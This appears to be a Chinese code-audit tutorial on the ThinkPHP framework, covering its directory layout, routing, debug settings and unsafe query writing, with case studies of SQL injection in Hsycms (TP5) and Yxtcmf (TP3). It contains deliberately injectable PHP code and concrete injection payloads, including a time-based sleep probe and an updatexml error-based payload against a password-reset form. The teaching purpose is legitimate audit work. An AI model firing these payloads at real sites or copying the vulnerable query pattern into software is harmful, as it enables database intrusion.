TP框架SQL注入&安全写法&架构&路由

简介: TP框架SQL注入&安全写法&架构&路由

知识点

#知识点:
1、认识PHP开发框架TP
2、掌握TP文件目录含义   
3、掌握查找入口目录版本 
4、掌握路由URL对应文件块  
5、掌握配置代码调试开和关
6、掌握TP5代码书写安全规范

1、解释TP框架开发的源码审计要点

目录和文件
目录使用小写+下划线;
类库、函数文件统一以 .php 为后缀;
类的文件名均以命名空间定义,并且命名空间的路径和类库文件所在路径一致;
类文件采用驼峰法命名(首字母大写),其它文件采用小写+下划线命名;
类名和类文件名保持一致,统一采用驼峰法命名(首字母大写);
函数和类、属性命名
类的命名采用驼峰法(首字母大写),例如 User 、 UserType ,默认不需要添加后缀,例如
UserController 应该直接命名为 User ;
函数的命名使用小写字母和下划线(小写字母开头)的方式,例如 get_client_ip ;
方法的命名使用驼峰法(首字母小写),例如 getUserName ;
属性的命名使用驼峰法(首字母小写),例如 tableName 、 instance ;
以双下划线“__”打头的函数或方法作为魔术方法,例如 __call 和 __autoload ;
常量和配置
常量以大写字母和下划线命名,例如 APP_PATH 和 THINK_PATH ;
配置参数以小写字母和下划线命名,例如 url_route_on 和 url_convert ;
数据表和字段
数据表和字段采用小写加下划线方式命名,并注意字段名不要以下划线开头,例如 think_user 表和
user_name 字段,不建议使用驼峰和中文作为数据表字段命名。
应用类库命名空间规范
应用类库的根命名空间统一为app(不建议更改,可以设置 app_namespace 配置参数更改, V5.0.8 版本
开始使用 APP_NAMESPACE 常量定义);
例如:app\index\controller\Index 和 app\index\model\User

2、参考开发手册学习文件目录含义

3、参考开发手册学习寻找入口目录

入口文件定义
入口文件主要完成:
定义框架路径、项目路径(可选)
定义系统相关常量(可选)
载入框架入口文件(必须)
5.0默认的应用入口文件位于 public/index.php ,内容如下:
// 定义应用目录  则application目录下的文件为核心代码 
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

4、参考开发手册学习寻找URL对应文件

URL设计
ThinkPHP 5.0 在没有启用路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
支持切换到命令行访问,如果切换到命令行模式下面的访问规则是:
>php.exe index.php(或者其它应用入口文件) 模块/控制器/操作/[参数名/参数值...]
可以看到,无论是URL访问还是命令行访问,都采用 PATH_INFO 访问地址,其中 PATH_INFO 的分隔符是
可以设置的。
注意:5.0 取消了URL模式的概念,并且普通模式的URL访问不再支持,但参数可以支持普通方式传值,例
如:
>php.exe index.php(或者其它应用入口文件) 模块/控制器/操作?参数名=参数值&...
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
必要的时候,我们可以通过某种方式,省略URL里面的模块和控制器。
URL大小写
默认情况下, URL 是不区分大小写的,也就是说 URL 里面的模块/控制器/操作名会自动转换为小写,控制
器在最后调用的时候会转换为驼峰法处理。
例如:
http://localhost/index.php/Index/Blog/read
// 和下面的访问是等效的
http://localhost/index.php/index/blog/read
如果访问下面的地址
http://localhost/index.php/Index/BlogTest/read
// 和下面的访问是等效的
http://localhost/index.php/index/blogtest/read
在这种URL不区分大小写情况下,如果要访问驼峰法的控制器类,则需要使用:
URL访问
本文档使用 看云 构建 - 30 -http://localhost/index.php/Index/blog_test/read
模块名和操作名会直接转换为小写处理。
如果希望 URL 访问严格区分大小写,可以在应用配置文件中设置:
// 关闭URL中控制器和操作名的自动转换
'url_convert' => false,
一旦关闭自动转换,URL地址中的控制器名就变成大小写敏感了,例如前面的访问地址就要写成:
http://localhost/index.php/Index/BlogTest/read
但是下面的URL访问依然是有效的:
http://localhost/index.php/Index/blog_test/read
下面的URL访问则无效:
http://localhost/index.php/Index/blogtest/read

5、参考开发手册学习如何开启调试模式

// 应用调试模式
    'app_debug'              => true,
    // 应用Trace
    'app_trace'              => true,

6、参考开发手册学习规矩写法和不安全写法。

参考手册-TP5开发手册PDF-为了掌握了解框架

首页文件看APP_PATH定义-为了后期分析核心代码

全局搜索:THINK_VERSION,-为了后期分析此版本是否存在漏洞

TP知识点-架构&入口&路由&调试&写法安全

url 对应文件

查看index入口文件 发现核心代码在 application 目录下

访问Idenx文件里test函数


url: 
http://127.0.0.1/tp5/public/index.php/index/index/test

访问xiaodi函数

url:
http://127.0.0.1/tp5/public/index.php/index/index/xiaodi?i=1


// Test.php
{
    //index.php/index/test/x
  public function x()
{
    echo 'x test';
  }
  public function testsqlin()
{  
    //自写数据库查询,存在注入
    $id=$_GET['x'];
    $conn=mysql_connect("127.0.0.1","root","root");
    $sql="select * from injection.users where id=$id";
    echo $sql;
    $result=mysql_query($sql,$conn);
  }
  public function testsqlin1()
{
    //table('users')->where('id',1)->select();
        //$id=input('?get.id');
        $id=input('id');
        db('users')->field('id')->where('id',$id)->select();
  }
  public function index()
{
        $username = request()->get('id/a');
        db('users')->insert(['id' => $username]);
        return 'Update success';
    }
}



url:
http://127.0.0.1/tp5/public/index.php/xiaodi/Index/test
http://127.0.0.1/tp5/public/index.php/xiaodi/Index/xiaodi

640.png

640.png

总体来说,就是url的每一个单词都对应后台每一个目录文件最后一个对应代码中的函数。

代码审计-案例1-Hsycms_Tp5框架注入

#代码审计-案例1-Hsycms_Tp5框架注入&逻辑(没有完整安全写法)
流程:入口-版本-调试-路由-特定漏洞特性写法搜索或版本漏洞触发关键字
1.注入input:and if(1<2,sleep(2),sleep(0)) and (1=1.html

第一步 打开index文件 查看入口   /app目录

第二步 查看版本 think_version

第三步 调试 app_debug

第四步 网站查看文件流程

开启sql监控,查看执行流程

分析代码  input 获取id参数,$one  = db('article')->where('id',$id) 等价于

select * from article where id = $id; 伪静态注入,在html前添加参数

 public function index()
{
    $id = input('id');
    // 添加调试
    echo $id;
    $one  = db('article')->where('id',$id)->find();      
    if(empty($one)){ exit("文章不存在");}    
    $navrow = db('nav')->where('id',$one['nid'])->find();    
    $data['showcate'] = $navrow['showcate'];    
    $data['entitle']  = $navrow['entitle'];
    $data['columnName'] = $navrow['title'];
    $data["banner"]   = isMobile() ? $navrow['img1'] : $navrow['img'];
    $data['id'] = $id;
    $view['views'] = $one['views']+1;
    db('article')->where('id',$id)->update($view);//浏览次数        
    //无分类
    if($data['showcate']==0){       
      $data["leftlist"] = db('article')->field('id,title')->where('nid',$one['nid'])->order("sort,id")->select();            

UPDATE `sy_article` SET `views`=49 WHERE `id` = '133 and 222=222'
SELECT `id`,`title` FROM `sy_article` WHERE ( id < 133 and 222=222 and nid=3 and cid=34 ) ORDER BY `id` DESC LIMIT 1

添加单引号闭合

640.png

640.png

仅执行了第一条sql语句 并且单引号转义了

尝试执行第二条  延迟五秒  存在延迟注入

代码审计-案例2-Yxtcmf_Tp3本身框架SQL注入

#代码审计-案例2-Yxtcmf_Tp3本身框架SQL注入(本身的框架漏洞)
流程:入口-版本-调试-路由-特定漏洞特性写法搜索或版本漏洞触发关键字
参考:https://y4er.com/post/thinkphp3-vuln/
password=123456&repassword=123456&tel[0]=exp&tel[1]=='111' and updatexml(1,concat(0x7e,user(),0x7e),1)#

640.png

结合版本 百度搜历史漏洞

640.png

搜索where关键字

yxtcmf\application\User\Controller\RegisterController.class.php

直接获取参数 任何过滤

    function repassword(){
        $users_model=M("Users");
        $mobile_verify=$_POST['mobileCode'];
        $password=$_POST['password'];
        $repassword=$_POST['repassword'];
        $mobile=$_POST['tel'];
        $where['mobile']=$mobile;
          if(strlen($password) < 5 || strlen($password) > 20){
          $result['code']='password';
          $result['success']=false;
          $result['message']="密码长度至少5位,最多20位!";
          }elseif($password !=$repassword){
          $result['code']='repassword';
          $result['success']=false;
          $result['message']="两次密码不一致!";
          }elseif($mobile_verify =$_SESSION['mobile_verify']){
          $result['code']='mobile_verify';
          $result['success']=false;
          $result['message']="手机验证码不正确!";
        }elseif(!$users_model->where($where)->find()){
          $result['code']='user';
          $result['success']=false;
          $result['message']="该手机号未注册!";


    相关文章
    |
    6月前
    |
    人工智能 安全 Cloud Native
    Nacos 3.0 架构升级,AI 时代更安全的 Registry
    随着Nacos3.0的发布,定位由“更易于构建云原生应用的动态服务发现、配置管理和服务管理平台”升级至“ 一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台 ”。
    |
    6月前
    |
    存储 设计模式 人工智能
    AI Agent安全架构实战:基于LangGraph的Human-in-the-Loop系统设计​
    本文深入解析Human-in-the-Loop(HIL)架构在AI Agent中的核心应用,探讨其在高风险场景下的断点控制、状态恢复与安全管控机制,并结合LangGraph的创新设计与金融交易实战案例,展示如何实现效率与安全的平衡。
    972 0
    |
    3月前
    |
    人工智能 JavaScript 前端开发
    GenSX (不一样的AI应用框架)架构学习指南
    GenSX 是一个基于 TypeScript 的函数式 AI 工作流框架,以“函数组合替代图编排”为核心理念。它通过纯函数组件、自动追踪与断点恢复等特性,让开发者用自然代码构建可追溯、易测试的 LLM 应用。支持多模型集成与插件化扩展,兼具灵活性与工程化优势。
    294 6
    |
    3月前
    |
    存储 监控 安全
    132_API部署:FastAPI与现代安全架构深度解析与LLM服务化最佳实践
    在大语言模型(LLM)部署的最后一公里,API接口的设计与安全性直接决定了模型服务的可用性、稳定性与用户信任度。随着2025年LLM应用的爆炸式增长,如何构建高性能、高安全性的REST API成为开发者面临的核心挑战。FastAPI作为Python生态中最受青睐的Web框架之一,凭借其卓越的性能、强大的类型安全支持和完善的文档生成能力,已成为LLM服务化部署的首选方案。
    |
    9月前
    |
    人工智能 自然语言处理 数据可视化
    两大 智能体框架 Dify vs Langchain 的全面分析,该怎么选?资深架构师 做一个彻底的解密
    两大 智能体框架 Dify vs Langchain 的全面分析,该怎么选?资深架构师 做一个彻底的解密
    两大 智能体框架 Dify vs Langchain 的全面分析,该怎么选?资深架构师 做一个彻底的解密
    |
    5月前
    |
    存储 安全 前端开发
    如何开发一套EHS 健康安全环境管理系统?(附架构图+流程图+代码参考)
    本文介绍如何开发一套完整的EHS(健康、安全和环境)管理系统,涵盖系统核心模块、技术架构、数据库设计、前后端开发示例及上线建议,帮助企业提升安全管理效率与合规性。
    |
    5月前
    |
    人工智能 自然语言处理 JavaScript
    Github又一AI黑科技项目,打造全栈架构,只需一个统一框架?
    Motia 是一款现代化后端框架,融合 API 接口、后台任务、事件系统与 AI Agent,支持 JavaScript、TypeScript、Python 多语言协同开发。它提供可视化 Workbench、自动观测追踪、零配置部署等功能,帮助开发者高效构建事件驱动的工作流,显著降低部署与运维成本,提升 AI 项目落地效率。
    447 0
    |
    5月前
    |
    传感器 安全 前端开发
    如何开发一套EHS健康安全环境管理系统中的风险管理板块?(附架构图+流程图+代码参考)
    本文详解企业EHS(健康·安全·环境)系统中的风险管控板块,强调其核心在于构建“识别—评估—巡检—治理—验证”的闭环流程,将风险数据可视化并转化为可落地的行动指引。内容涵盖风险管控的意义、功能边界、系统架构、LEC评估方法、巡检流程、看板设计、开发技巧、落地建议、实现效果及代码参考,帮助技术团队和EHS负责人快速掌握系统搭建要点,提升企业安全管理水平。
    |
    6月前
    |
    SQL XML Java
    配置Spring框架以连接SQL Server数据库
    最后,需要集成Spring配置到应用中,这通常在 `main`方法或者Spring Boot的应用配置类中通过加载XML配置或使用注解来实现。
    503 0
    |
    8月前
    |
    Java 开发者 Spring
    Spring框架 - 深度揭秘Spring框架的基础架构与工作原理
    所以,当你进入这个Spring的世界,看似一片混乱,但细看之下,你会发现这里有个牢固的结构支撑,一切皆有可能。不论你要建设的是一座宏大的城堡,还是个小巧的花园,只要你的工具箱里有Spring,你就能轻松搞定。
    323 9